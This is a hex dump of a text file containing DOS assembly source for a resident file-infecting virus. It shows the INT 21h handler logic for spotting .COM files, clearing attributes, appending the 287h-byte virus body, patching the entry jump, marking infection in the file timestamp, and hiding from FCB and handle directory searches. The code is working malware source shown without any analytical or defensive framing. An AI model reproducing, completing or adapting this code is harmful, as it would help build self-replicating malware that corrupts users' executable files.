|00001000| 0d 0d 0a 09 09 6a 65 20 | 20 20 20 20 20 53 65 74 |.....je | Set|
|00001010| 75 70 4e 61 6d 65 43 68 | 65 63 6b 0d 0d 0a 09 09 |upNameCh|eck.....|
|00001020| 0d 0d 0a 09 09 63 6d 70 | 20 20 20 20 20 61 68 2c |.....cmp| ah,|
|00001030| 30 46 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |0Fh | |
|00001040| 20 20 20 20 20 3b 4f 70 | 65 6e 20 66 69 6c 65 20 | ;Op|en file |
|00001050| 77 2f 46 43 42 0d 0d 0a | 09 09 6a 65 20 20 20 20 |w/FCB...|..je |
|00001060| 20 20 54 72 79 54 6f 49 | 6e 66 65 63 74 0d 0d 0a | TryToI|nfect...|
|00001070| 09 09 63 6d 70 20 20 20 | 20 20 61 68 2c 32 33 68 |..cmp | ah,23h|
|00001080| 0d 0d 0a 09 09 6a 65 20 | 20 20 20 20 20 54 72 79 |.....je | Try|
|00001090| 54 6f 49 6e 66 65 63 74 | 20 20 20 20 20 20 20 20 |ToInfect| |
|000010a0| 20 20 20 20 20 3b 47 65 | 74 20 66 69 6c 65 20 73 | ;Ge|t file s|
|000010b0| 69 7a 65 0d 0d 0a 09 09 | 6a 6d 70 20 20 20 20 20 |ize.....|jmp |
|000010c0| 45 78 69 74 49 6e 66 65 | 63 74 0d 0d 0a 09 09 0d |ExitInfe|ct......|
|000010d0| 0d 0a 46 43 42 53 65 61 | 72 63 68 3a 0d 0d 0a 09 |..FCBSea|rch:....|
|000010e0| 09 6a 6d 70 20 20 20 20 | 20 46 43 42 53 74 65 61 |.jmp | FCBStea|
|000010f0| 6c 74 68 0d 0d 0a 48 61 | 6e 64 6c 65 53 65 61 72 |lth...Ha|ndleSear|
|00001100| 63 68 3a 0d 0d 0a 09 09 | 6a 6d 70 20 20 20 20 20 |ch:.....|jmp |
|00001110| 48 61 6e 64 6c 65 53 74 | 65 61 6c 74 68 0d 0d 0a |HandleSt|ealth...|
|00001120| 0d 0d 0a 54 72 79 54 6f | 49 6e 66 65 63 74 3a 0d |...TryTo|Infect:.|
|00001130| 0d 0a 09 09 64 62 20 20 | 20 20 20 20 38 39 68 2c |....db | 89h,|
|00001140| 30 64 36 68 20 20 20 20 | 20 20 20 20 20 3b 6d 6f |0d6h | ;mo|
|00001150| 76 20 20 20 20 20 73 69 | 2c 64 78 0d 0d 0a 0d 0d |v si|,dx.....|
|00001160| 0a 09 09 69 6e 63 20 20 | 20 20 20 73 69 0d 0d 0a |...inc | si...|
|00001170| 09 09 70 75 73 68 20 20 | 20 20 63 73 0d 0d 0a 09 |..push | cs....|
|00001180| 09 70 6f 70 20 20 20 20 | 20 65 73 0d 0d 0a 09 09 |.pop | es.....|
|00001190| 6d 6f 76 20 20 20 20 20 | 64 69 2c 6f 66 66 73 65 |mov |di,offse|
|000011a0| 74 20 64 73 3a 5b 46 69 | 6c 65 6e 61 6d 65 2d 73 |t ds:[Fi|lename-s|
|000011b0| 74 61 72 74 5d 20 20 20 | 20 20 3b 43 6f 70 79 20 |tart] | ;Copy |
|000011c0| 66 69 6c 65 6e 61 6d 65 | 0d 0d 0a 09 09 6d 6f 76 |filename|.....mov|
|000011d0| 20 20 20 20 20 63 78 2c | 38 0d 0d 0a 09 09 72 65 | cx,|8.....re|
|000011e0| 70 20 20 20 20 20 6d 6f | 76 73 62 0d 0d 0a 09 09 |p mo|vsb.....|
|000011f0| 6d 6f 76 20 20 20 20 20 | 63 78 2c 33 0d 0d 0a 09 |mov |cx,3....|
|00001200| 09 69 6e 63 20 20 20 20 | 20 64 69 0d 0d 0a 09 09 |.inc | di.....|
|00001210| 72 65 70 20 20 20 20 20 | 6d 6f 76 73 62 0d 0d 0a |rep |movsb...|
|00001220| 0d 0d 0a 09 09 6d 6f 76 | 20 20 20 20 20 64 78 2c |.....mov| dx,|
|00001230| 46 69 6c 65 6e 61 6d 65 | 2d 73 74 61 72 74 0d 0d |Filename|-start..|
|00001240| 0a 09 09 70 75 73 68 20 | 20 20 20 63 73 0d 0d 0a |...push | cs...|
|00001250| 09 09 70 6f 70 20 20 20 | 20 20 64 73 0d 0d 0a 0d |..pop | ds....|
|00001260| 0d 0a 53 65 74 75 70 4e | 61 6d 65 43 68 65 63 6b |..SetupN|ameCheck|
|00001270| 3a 0d 0d 0a 09 09 64 62 | 20 20 20 20 20 20 38 39 |:.....db| 89|
|00001280| 68 2c 20 30 64 36 68 20 | 20 20 20 20 20 20 20 3b |h, 0d6h | ;|
|00001290| 6d 6f 76 20 20 20 20 20 | 73 69 2c 64 78 0d 0d 0a |mov |si,dx...|
|000012a0| 09 09 6d 6f 76 20 20 20 | 20 20 63 78 2c 31 30 30 |..mov | cx,100|
|000012b0| 68 0d 0d 0a 09 09 63 6c | 64 20 0d 0d 0a 20 20 0d |h.....cl|d ... .|
|000012c0| 0d 0a 46 69 6e 64 5f 45 | 78 74 65 6e 73 69 6f 6e |..Find_E|xtension|
|000012d0| 3a 0d 0d 0a 09 09 6c 6f | 64 73 62 0d 0d 0a 09 09 |:.....lo|dsb.....|
|000012e0| 63 6d 70 20 20 20 20 20 | 61 6c 2c 27 2e 27 20 20 |cmp |al,'.' |
|000012f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001300| 3b 46 69 6e 64 20 27 2e | 27 0d 0d 0a 09 09 6a 65 |;Find '.|'.....je|
|00001310| 20 20 20 20 20 20 43 68 | 65 63 6b 46 69 6c 65 6e | Ch|eckFilen|
|00001320| 61 6d 65 0d 0d 0a 09 09 | 6c 6f 6f 70 20 20 20 20 |ame.....|loop |
|00001330| 46 69 6e 64 5f 45 78 74 | 65 6e 73 69 6f 6e 0d 0d |Find_Ext|ension..|
|00001340| 0a 09 09 64 62 20 20 20 | 20 20 20 30 65 39 68 2c |...db | 0e9h,|
|00001350| 20 31 33 68 2c 20 30 20 | 20 20 20 20 20 20 20 20 | 13h, 0 | |
|00001360| 20 20 20 20 3b 6a 6d 70 | 20 20 20 20 20 46 69 6c | ;jmp| Fil|
|00001370| 65 6e 61 6d 65 42 61 64 | 0d 0d 0a 43 68 65 63 6b |enameBad|...Check|
|00001380| 46 69 6c 65 6e 61 6d 65 | 3a 0d 0d 0a 09 09 6c 6f |Filename|:.....lo|
|00001390| 64 73 77 20 0d 0d 0a 09 | 09 6f 72 20 20 20 20 20 |dsw ....|.or |
|000013a0| 20 61 78 2c 32 30 32 30 | 68 20 20 20 20 20 20 20 | ax,2020|h |
|000013b0| 20 20 20 20 20 20 20 20 | 20 3b 53 65 74 20 74 6f | | ;Set to|
|000013c0| 20 6c 6f 77 65 72 63 61 | 73 65 0d 0d 0a 09 09 63 | lowerca|se.....c|
|000013d0| 6d 70 20 20 20 20 20 61 | 78 2c 36 46 36 33 68 20 |mp a|x,6F63h |
|000013e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|000013f0| 49 73 20 69 74 20 61 20 | 63 6f 6d 20 66 69 6c 65 |Is it a |com file|
|00001400| 3f 0d 0d 0a 09 09 6a 6e | 65 20 20 20 20 20 46 69 |?.....jn|e Fi|
|00001410| 6c 65 6e 61 6d 65 42 61 | 64 0d 0d 0a 09 09 6c 6f |lenameBa|d.....lo|
|00001420| 64 73 62 20 20 20 20 20 | 20 20 20 0d 0d 0a 09 09 |dsb | .....|
|00001430| 6f 72 20 20 20 20 20 20 | 61 6c 2c 32 30 68 0d 0d |or |al,20h..|
|00001440| 0a 09 09 63 6d 70 20 20 | 20 20 20 61 6c 2c 36 44 |...cmp | al,6D|
|00001450| 68 0d 0d 0a 09 09 6a 6e | 65 20 20 20 20 20 46 69 |h.....jn|e Fi|
|00001460| 6c 65 6e 61 6d 65 42 61 | 64 0d 0d 0a 09 09 64 62 |lenameBa|d.....db|
|00001470| 20 20 20 20 20 20 30 65 | 39 68 2c 20 33 2c 20 30 | 0e|9h, 3, 0|
|00001480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 6a | | ;j|
|00001490| 6d 70 20 20 20 20 20 49 | 6e 66 65 63 74 46 69 6c |mp I|nfectFil|
|000014a0| 65 20 0d 0d 0a 0d 0d 0a | 46 69 6c 65 6e 61 6d 65 |e ......|Filename|
|000014b0| 42 61 64 3a 0d 0d 0a 09 | 09 6a 6d 70 20 20 20 20 |Bad:....|.jmp |
|000014c0| 20 45 78 69 74 49 6e 66 | 65 63 74 20 0d 0d 0a 0d | ExitInf|ect ....|
|000014d0| 0d 0a 49 6e 66 65 63 74 | 46 69 6c 65 3a 0d 0d 0a |..Infect|File:...|
|000014e0| 09 09 70 75 73 68 20 20 | 20 20 64 78 0d 0d 0a 09 |..push | dx....|
|000014f0| 09 70 75 73 68 20 20 20 | 20 64 73 0d 0d 0a 09 09 |.push | ds.....|
|00001500| 6d 6f 76 20 20 20 20 20 | 61 78 2c 34 33 30 30 68 |mov |ax,4300h|
|00001510| 0d 0d 0a 09 09 70 75 73 | 68 66 20 20 20 20 20 20 |.....pus|hf |
|00001520| 20 20 20 0d 0d 0a 09 09 | 63 61 6c 6c 20 20 20 20 | .....|call |
|00001530| 64 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 4f 6c |dword pt|r cs:[Ol|
|00001540| 64 49 6e 74 32 31 2d 73 | 74 61 72 74 5d 20 20 20 |dInt21-s|tart] |
|00001550| 20 20 20 3b 47 65 74 20 | 41 74 74 72 69 62 75 74 | ;Get |Attribut|
|00001560| 65 73 0d 0d 0a 09 09 6d | 6f 76 20 20 20 20 20 77 |es.....m|ov w|
|00001570| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 46 69 6c 65 |ord ptr |cs:[File|
|00001580| 41 74 74 72 69 62 73 2d | 73 74 61 72 74 5d 2c 63 |Attribs-|start],c|
|00001590| 78 20 3b 53 61 76 65 20 | 74 68 65 6d 0d 0d 0a 09 |x ;Save |them....|
|000015a0| 09 0d 0d 0a 09 09 6d 6f | 76 20 20 20 20 20 61 78 |......mo|v ax|
|000015b0| 2c 34 33 30 31 68 0d 0d | 0a 09 09 78 6f 72 20 20 |,4301h..|...xor |
|000015c0| 20 20 20 63 78 2c 63 78 | 0d 0d 0a 09 09 70 75 73 | cx,cx|.....pus|
|000015d0| 68 66 20 20 20 20 20 20 | 20 20 20 20 20 0d 0d 0a |hf | ...|
|000015e0| 09 09 63 61 6c 6c 20 20 | 20 20 64 77 6f 72 64 20 |..call | dword |
|000015f0| 70 74 72 20 63 73 3a 5b | 4f 6c 64 49 6e 74 32 31 |ptr cs:[|OldInt21|
|00001600| 2d 73 74 61 72 74 5d 20 | 20 20 20 20 3b 52 65 73 |-start] | ;Res|
|00001610| 65 74 20 41 74 74 72 69 | 62 73 20 74 6f 20 30 0d |et Attri|bs to 0.|
|00001620| 0d 0a 09 09 0d 0d 0a 09 | 09 6d 6f 76 20 20 20 20 |........|.mov |
|00001630| 20 61 78 2c 33 44 30 32 | 68 0d 0d 0a 09 09 70 75 | ax,3D02|h.....pu|
|00001640| 73 68 66 0d 0d 0a 09 09 | 63 61 6c 6c 20 20 20 20 |shf.....|call |
|00001650| 64 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 4f 6c |dword pt|r cs:[Ol|
|00001660| 64 49 6e 74 32 31 2d 73 | 74 61 72 74 5d 20 20 20 |dInt21-s|tart] |
|00001670| 20 20 3b 4f 70 65 6e 20 | 66 69 6c 65 0d 0d 0a 09 | ;Open |file....|
|00001680| 09 6a 6e 63 20 20 20 20 | 20 4f 70 65 6e 47 6f 6f |.jnc | OpenGoo|
|00001690| 64 0d 0d 0a 09 09 6a 6d | 70 20 20 20 20 20 46 69 |d.....jm|p Fi|
|000016a0| 6c 65 43 6c 6f 73 65 64 | 0d 0d 0a 0d 0d 0a 4f 70 |leClosed|......Op|
|000016b0| 65 6e 47 6f 6f 64 3a 0d | 0d 0a 09 09 78 63 68 67 |enGood:.|....xchg|
|000016c0| 20 20 20 20 61 78 2c 62 | 78 0d 0d 0a 09 09 6d 6f | ax,b|x.....mo|
|000016d0| 76 20 20 20 20 20 61 78 | 2c 35 37 30 30 68 0d 0d |v ax|,5700h..|
|000016e0| 0a 09 09 70 75 73 68 66 | 20 20 20 20 20 20 20 20 |...pushf| |
|000016f0| 20 20 20 20 20 20 0d 0d | 0a 09 09 63 61 6c 6c 20 | ..|...call |
|00001700| 20 20 20 64 77 6f 72 64 | 20 70 74 72 20 63 73 3a | dword| ptr cs:|
|00001710| 5b 4f 6c 64 49 6e 74 32 | 31 2d 73 74 61 72 74 5d |[OldInt2|1-start]|
|00001720| 20 20 20 20 20 20 3b 47 | 65 74 20 66 69 6c 65 20 | ;G|et file |
|00001730| 74 69 6d 65 2f 64 61 74 | 65 0d 0d 0a 09 09 6d 6f |time/dat|e.....mo|
|00001740| 76 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 63 |v wo|rd ptr c|
|00001750| 73 3a 5b 46 69 6c 65 54 | 69 6d 65 2d 73 74 61 72 |s:[FileT|ime-star|
|00001760| 74 5d 2c 63 78 20 20 3b | 73 61 76 65 20 74 69 6d |t],cx ;|save tim|
|00001770| 65 0d 0d 0a 09 09 6d 6f | 76 20 20 20 20 20 77 6f |e.....mo|v wo|
|00001780| 72 64 20 70 74 72 20 63 | 73 3a 5b 46 69 6c 65 44 |rd ptr c|s:[FileD|
|00001790| 61 74 65 2d 73 74 61 72 | 74 5d 2c 64 78 20 20 3b |ate-star|t],dx ;|
|000017a0| 73 61 76 65 20 64 61 74 | 65 0d 0d 0a 0d 0d 0a 09 |save dat|e.......|
|000017b0| 09 61 6e 64 20 20 20 20 | 20 63 78 2c 31 46 68 0d |.and | cx,1Fh.|
|000017c0| 0d 0a 09 09 63 6d 70 20 | 20 20 20 20 63 78 2c 31 |....cmp | cx,1|
|000017d0| 46 68 0d 0d 0a 09 09 6a | 6e 65 20 20 20 20 20 4e |Fh.....j|ne N|
|000017e0| 6f 74 49 6e 66 65 63 74 | 65 64 20 20 20 20 20 20 |otInfect|ed |
|000017f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 43 | | ;C|
|00001800| 68 65 63 6b 20 69 6e 66 | 65 63 74 69 6f 6e 0d 0d |heck inf|ection..|
|00001810| 0a 09 09 64 62 20 20 20 | 20 20 20 30 65 39 68 2c |...db | 0e9h,|
|00001820| 20 37 36 68 2c 20 30 20 | 20 20 20 20 20 20 20 20 | 76h, 0 | |
|00001830| 20 20 20 20 20 20 20 20 | 20 20 3b 6a 6d 70 20 20 | | ;jmp |
|00001840| 20 20 20 43 6c 6f 73 65 | 5f 46 69 6c 65 0d 0d 0a | Close|_File...|
|00001850| 4e 6f 74 49 6e 66 65 63 | 74 65 64 3a 0d 0d 0a 09 |NotInfec|ted:....|
|00001860| 09 6d 6f 76 20 20 20 20 | 20 61 68 2c 33 46 68 20 |.mov | ah,3Fh |
|00001870| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001880| 20 0d 0d 0a 09 09 70 75 | 73 68 20 20 20 20 63 73 | .....pu|sh cs|
|00001890| 0d 0d 0a 09 09 70 6f 70 | 20 20 20 20 20 64 73 0d |.....pop| ds.|
|000018a0| 0d 0a 09 09 6d 6f 76 20 | 20 20 20 20 64 78 2c 53 |....mov | dx,S|
|000018b0| 74 6f 72 61 67 65 5f 42 | 79 74 65 73 2d 73 74 61 |torage_B|ytes-sta|
|000018c0| 72 74 0d 0d 0a 09 09 6d | 6f 76 20 20 20 20 20 63 |rt.....m|ov c|
|000018d0| 78 2c 33 0d 0d 0a 09 09 | 70 75 73 68 66 20 20 20 |x,3.....|pushf |
|000018e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000018f0| 20 20 20 20 20 20 20 0d | 0d 0a 09 09 63 61 6c 6c | .|....call|
|00001900| 20 20 20 20 64 77 6f 72 | 64 20 70 74 72 20 63 73 | dwor|d ptr cs|
|00001910| 3a 5b 4f 6c 64 49 6e 74 | 32 31 2d 73 74 61 72 74 |:[OldInt|21-start|
|00001920| 5d 20 3b 52 65 61 64 20 | 69 6e 20 66 69 72 73 74 |] ;Read |in first|
|00001930| 20 33 20 62 79 74 65 73 | 0d 0d 0a 0d 0d 0a 09 09 | 3 bytes|........|
|00001940| 63 6d 70 20 20 20 20 20 | 77 6f 72 64 20 70 74 72 |cmp |word ptr|
|00001950| 20 63 73 3a 5b 53 74 6f | 72 61 67 65 5f 42 79 74 | cs:[Sto|rage_Byt|
|00001960| 65 73 2d 73 74 61 72 74 | 5d 2c 35 41 34 44 68 20 |es-start|],5A4Dh |
|00001970| 20 20 20 0d 0d 0a 09 09 | 6a 65 20 20 20 20 20 20 | .....|je |
|00001980| 44 6f 6e 65 57 69 74 68 | 46 69 6c 65 20 20 20 20 |DoneWith|File |
|00001990| 20 20 20 20 3b 49 73 20 | 69 74 20 61 6e 20 2e 45 | ;Is |it an .E|
|000019a0| 58 45 20 66 69 6c 65 3f | 0d 0d 0a 0d 0d 0a 09 09 |XE file?|........|
|000019b0| 63 6d 70 20 20 20 20 20 | 77 6f 72 64 20 70 74 72 |cmp |word ptr|
|000019c0| 20 63 73 3a 5b 53 74 6f | 72 61 67 65 5f 42 79 74 | cs:[Sto|rage_Byt|
|000019d0| 65 73 2d 73 74 61 72 74 | 5d 2c 34 44 35 41 68 0d |es-start|],4D5Ah.|
|000019e0| 0d 0a 09 09 6a 65 20 20 | 20 20 20 20 44 6f 6e 65 |....je | Done|
|000019f0| 57 69 74 68 46 69 6c 65 | 20 20 20 20 20 20 20 20 |WithFile| |
|00001a00| 3b 41 6c 74 65 72 6e 61 | 74 65 20 45 58 45 20 73 |;Alterna|te EXE s|
|00001a10| 69 67 3f 0d 0d 0a 0d 0d | 0a 09 09 6d 6f 76 20 20 |ig?.....|...mov |
|00001a20| 20 20 20 61 78 2c 34 32 | 30 32 68 0d 0d 0a 09 09 | ax,42|02h.....|
|00001a30| 78 6f 72 20 20 20 20 20 | 63 78 2c 63 78 0d 0d 0a |xor |cx,cx...|
|00001a40| 09 09 78 6f 72 20 20 20 | 20 20 64 78 2c 64 78 0d |..xor | dx,dx.|
|00001a50| 0d 0a 09 09 70 75 73 68 | 66 20 20 20 20 20 20 20 |....push|f |
|00001a60| 20 0d 0d 0a 09 09 63 61 | 6c 6c 20 20 20 20 64 77 | .....ca|ll dw|
|00001a70| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 4f 6c 64 49 |ord ptr |cs:[OldI|
|00001a80| 6e 74 32 31 2d 73 74 61 | 72 74 5d 20 3b 47 6f 20 |nt21-sta|rt] ;Go |
|00001a90| 65 6e 64 20 6f 66 20 66 | 69 6c 65 2e 0d 0d 0a 09 |end of f|ile.....|
|00001aa0| 09 0d 0d 0a 09 09 73 75 | 62 20 20 20 20 20 61 78 |......su|b ax|
|00001ab0| 2c 33 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,3 | |
|00001ac0| 20 20 20 20 20 20 20 20 | 20 20 3b 53 61 76 65 20 | | ;Save |
|00001ad0| 6a 75 6d 70 20 73 69 7a | 65 0d 0d 0a 09 09 6d 6f |jump siz|e.....mo|
|00001ae0| 76 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 63 |v wo|rd ptr c|
|00001af0| 73 3a 5b 4a 75 6d 70 5f | 42 79 74 65 73 2d 73 74 |s:[Jump_|Bytes-st|
|00001b00| 61 72 74 2b 31 5d 2c 61 | 78 0d 0d 0a 09 09 0d 0d |art+1],a|x.......|
|00001b10| 0a 09 09 6d 6f 76 20 20 | 20 20 20 61 68 2c 34 30 |...mov | ah,40|
|00001b20| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00001b30| 20 20 20 0d 0d 0a 09 09 | 70 75 73 68 20 20 20 20 | .....|push |
|00001b40| 63 73 0d 0d 0a 09 09 70 | 6f 70 20 20 20 20 20 64 |cs.....p|op d|
|00001b50| 73 0d 0d 0a 09 09 6d 6f | 76 20 20 20 20 20 64 78 |s.....mo|v dx|
|00001b60| 2c 30 0d 0d 0a 09 09 6d | 6f 76 20 20 20 20 20 63 |,0.....m|ov c|
|00001b70| 78 2c 32 38 37 68 0d 0d | 0a 09 09 70 75 73 68 66 |x,287h..|...pushf|
|00001b80| 20 20 20 20 20 20 20 20 | 20 20 0d 0d 0a 09 09 63 | | .....c|
|00001b90| 61 6c 6c 20 20 20 20 64 | 77 6f 72 64 20 70 74 72 |all d|word ptr|
|00001ba0| 20 63 73 3a 5b 4f 6c 64 | 49 6e 74 32 31 2d 73 74 | cs:[Old|Int21-st|
|00001bb0| 61 72 74 5d 20 3b 41 70 | 70 65 6e 64 20 76 69 72 |art] ;Ap|pend vir|
|00001bc0| 75 73 20 74 6f 20 66 69 | 6c 65 0d 0d 0a 09 09 0d |us to fi|le......|
|00001bd0| 0d 0a 09 09 6d 6f 76 20 | 20 20 20 20 61 78 2c 34 |....mov | ax,4|
|00001be0| 32 30 30 68 0d 0d 0a 09 | 09 78 6f 72 20 20 20 20 |200h....|.xor |
|00001bf0| 20 63 78 2c 63 78 0d 0d | 0a 09 09 78 6f 72 20 20 | cx,cx..|...xor |
|00001c00| 20 20 20 64 78 2c 64 78 | 0d 0d 0a 09 09 69 6e 74 | dx,dx|.....int|
|00001c10| 20 20 20 20 20 32 31 68 | 20 20 20 20 20 20 20 20 | 21h| |
|00001c20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001c30| 20 20 3b 67 6f 20 62 61 | 63 6b 20 74 6f 20 62 65 | ;go ba|ck to be|
|00001c40| 67 69 6e 6e 69 6e 67 0d | 0d 0a 09 09 09 20 20 20 |ginning.|..... |
|00001c50| 0d 0d 0a 09 09 6d 6f 76 | 20 20 20 20 20 61 68 2c |.....mov| ah,|
|00001c60| 34 30 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |40h | |
|00001c70| 20 20 20 20 20 0d 0d 0a | 09 09 6d 6f 76 20 20 20 | ...|..mov |
|00001c80| 20 20 64 78 2c 4a 75 6d | 70 5f 42 79 74 65 73 2d | dx,Jum|p_Bytes-|
|00001c90| 53 74 61 72 74 0d 0d 0a | 09 09 6d 6f 76 20 20 20 |Start...|..mov |
|00001ca0| 20 20 63 78 2c 33 0d 0d | 0a 09 09 70 75 73 68 66 | cx,3..|...pushf|
|00001cb0| 20 20 20 20 20 20 20 20 | 0d 0d 0a 09 09 63 61 6c | |.....cal|
|00001cc0| 6c 20 20 20 20 64 77 6f | 72 64 20 70 74 72 20 63 |l dwo|rd ptr c|
|00001cd0| 73 3a 5b 4f 6c 64 49 6e | 74 32 31 2d 73 74 61 72 |s:[OldIn|t21-star|
|00001ce0| 74 5d 20 20 20 20 20 20 | 3b 57 72 69 74 65 20 69 |t] |;Write i|
|00001cf0| 6e 20 6a 75 6d 70 0d 0d | 0a 09 09 6f 72 20 20 20 |n jump..|...or |
|00001d00| 20 20 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b | word |ptr cs:[|
|00001d10| 46 69 6c 65 54 69 6d 65 | 2d 73 74 61 72 74 5d 2c |FileTime|-start],|
|00001d20| 31 46 68 20 3b 4d 61 72 | 6b 20 61 73 20 69 6e 66 |1Fh ;Mar|k as inf|
|00001d30| 65 63 74 65 64 0d 0d 0a | 0d 0d 0a 44 6f 6e 65 57 |ected...|...DoneW|
|00001d40| 69 74 68 46 69 6c 65 3a | 0d 0d 0a 09 09 6d 6f 76 |ithFile:|.....mov|
|00001d50| 20 20 20 20 20 61 78 2c | 35 37 30 31 68 0d 0d 0a | ax,|5701h...|
|00001d60| 09 09 6d 6f 76 20 20 20 | 20 20 63 78 2c 77 6f 72 |..mov | cx,wor|
|00001d70| 64 20 70 74 72 20 63 73 | 3a 5b 46 69 6c 65 54 69 |d ptr cs|:[FileTi|
|00001d80| 6d 65 2d 73 74 61 72 74 | 5d 20 20 20 0d 0d 0a 09 |me-start|] ....|
|00001d90| 09 6d 6f 76 20 20 20 20 | 20 64 78 2c 77 6f 72 64 |.mov | dx,word|
|00001da0| 20 70 74 72 20 63 73 3a | 5b 46 69 6c 65 44 61 74 | ptr cs:|[FileDat|
|00001db0| 65 2d 73 74 61 72 74 5d | 20 20 20 0d 0d 0a 09 09 |e-start]| .....|
|00001dc0| 70 75 73 68 66 20 20 20 | 20 20 20 20 20 20 20 20 |pushf | |
|00001dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001de0| 20 20 20 20 0d 0d 0a 09 | 09 63 61 6c 6c 20 20 20 | ....|.call |
|00001df0| 20 64 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 4f | dword p|tr cs:[O|
|00001e00| 6c 64 49 6e 74 32 31 2d | 73 74 61 72 74 5d 20 3b |ldInt21-|start] ;|
|00001e10| 52 65 73 74 6f 72 65 20 | 46 69 6c 65 20 44 61 74 |Restore |File Dat|
|00001e20| 65 2f 54 69 6d 65 0d 0d | 0a 0d 0d 0a 43 6c 6f 73 |e/Time..|....Clos|
|00001e30| 65 5f 46 69 6c 65 3a 0d | 0d 0a 09 09 6d 6f 76 20 |e_File:.|....mov |
|00001e40| 20 20 20 20 61 68 2c 33 | 45 68 0d 0d 0a 09 09 70 | ah,3|Eh.....p|
|00001e50| 75 73 68 66 20 20 20 20 | 20 20 20 20 20 20 0d 0d |ushf | ..|
|00001e60| 0a 09 09 63 61 6c 6c 20 | 20 20 20 64 77 6f 72 64 |...call | dword|
|00001e70| 20 70 74 72 20 63 73 3a | 5b 4f 6c 64 49 6e 74 32 | ptr cs:|[OldInt2|
|00001e80| 31 2d 73 74 61 72 74 5d | 20 3b 43 6c 6f 73 65 20 |1-start]| ;Close |
|00001e90| 66 69 6c 65 0d 0d 0a 09 | 09 0d 0d 0a 09 09 70 6f |file....|......po|
|00001ea0| 70 20 20 20 20 20 64 73 | 0d 0d 0a 09 09 70 6f 70 |p ds|.....pop|
|00001eb0| 20 20 20 20 20 64 78 20 | 20 20 20 20 20 20 20 20 | dx | |
|00001ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001ed0| 20 3b 50 6f 70 20 66 69 | 6c 65 6e 61 6d 65 20 61 | ;Pop fi|lename a|
|00001ee0| 64 64 72 65 73 73 0d 0d | 0a 09 09 70 75 73 68 20 |ddress..|...push |
|00001ef0| 20 20 20 64 78 0d 0d 0a | 09 09 70 75 73 68 20 20 | dx...|..push |
|00001f00| 20 20 64 73 0d 0d 0a 09 | 09 6d 6f 76 20 20 20 20 | ds....|.mov |
|00001f10| 20 61 78 2c 34 33 30 31 | 68 0d 0d 0a 09 09 6d 6f | ax,4301|h.....mo|
|00001f20| 76 20 20 20 20 20 63 78 | 2c 64 73 3a 5b 46 69 6c |v cx|,ds:[Fil|
|00001f30| 65 41 74 74 72 69 62 73 | 2d 73 74 61 72 74 5d 0d |eAttribs|-start].|
|00001f40| 0d 0a 09 09 70 75 73 68 | 66 20 20 20 20 20 20 20 |....push|f |
|00001f50| 20 20 20 20 20 20 0d 0d | 0a 09 09 63 61 6c 6c 20 | ..|...call |
|00001f60| 20 20 20 64 77 6f 72 64 | 20 70 74 72 20 63 73 3a | dword| ptr cs:|
|00001f70| 5b 4f 6c 64 49 6e 74 32 | 31 2d 73 74 61 72 74 5d |[OldInt2|1-start]|
|00001f80| 20 20 20 20 3b 52 65 73 | 74 6f 72 65 20 61 74 74 | ;Res|tore att|
|00001f90| 72 69 62 75 74 65 73 0d | 0d 0a 0d 0d 0a 46 69 6c |ributes.|.....Fil|
|00001fa0| 65 43 6c 6f 73 65 64 3a | 0d 0d 0a 09 09 70 6f 70 |eClosed:|.....pop|
|00001fb0| 20 20 20 20 20 64 73 0d | 0d 0a 09 09 70 6f 70 20 | ds.|....pop |
|00001fc0| 20 20 20 20 64 78 0d 0d | 0a 0d 0d 0a 45 78 69 74 | dx..|....Exit|
|00001fd0| 49 6e 66 65 63 74 3a 0d | 0d 0a 09 09 70 6f 70 20 |Infect:.|....pop |
|00001fe0| 20 20 20 20 65 73 20 64 | 73 20 62 70 20 64 69 20 | es d|s bp di |
|00001ff0| 73 69 20 64 78 20 63 78 | 20 62 78 20 61 78 0d 0d |si dx cx| bx ax..|
|00002000| 0a 09 09 6a 6d 70 20 20 | 20 20 20 64 77 6f 72 64 |...jmp | dword|
|00002010| 20 70 74 72 20 63 73 3a | 5b 4f 6c 64 49 6e 74 32 | ptr cs:|[OldInt2|
|00002020| 31 2d 73 74 61 72 74 5d | 20 20 3b 4a 75 6d 70 20 |1-start]| ;Jump |
|00002030| 62 61 63 6b 20 69 6e 74 | 6f 20 49 6e 74 20 32 31 |back int|o Int 21|
|00002040| 68 0d 0d 0a 20 20 0d 0d | 0a 47 65 74 44 54 41 3a |h... ..|.GetDTA:|
|00002050| 0d 0d 0a 09 09 70 6f 70 | 20 20 20 20 20 73 69 0d |.....pop| si.|
|00002060| 0d 0a 09 09 70 75 73 68 | 66 0d 0d 0a 09 09 70 75 |....push|f.....pu|
|00002070| 73 68 20 20 20 20 61 78 | 20 62 78 20 65 73 0d 0d |sh ax| bx es..|
|00002080| 0a 09 09 6d 6f 76 20 20 | 20 20 20 61 68 2c 32 46 |...mov | ah,2F|
|00002090| 68 0d 0d 0a 09 09 63 61 | 6c 6c 20 20 20 20 43 61 |h.....ca|ll Ca|
|000020a0| 6c 6c 49 6e 74 32 31 0d | 0d 0a 09 09 6a 6d 70 20 |llInt21.|....jmp |
|000020b0| 20 20 20 20 73 69 0d 0d | 0a 0d 0d 0a 46 43 42 53 | si..|....FCBS|
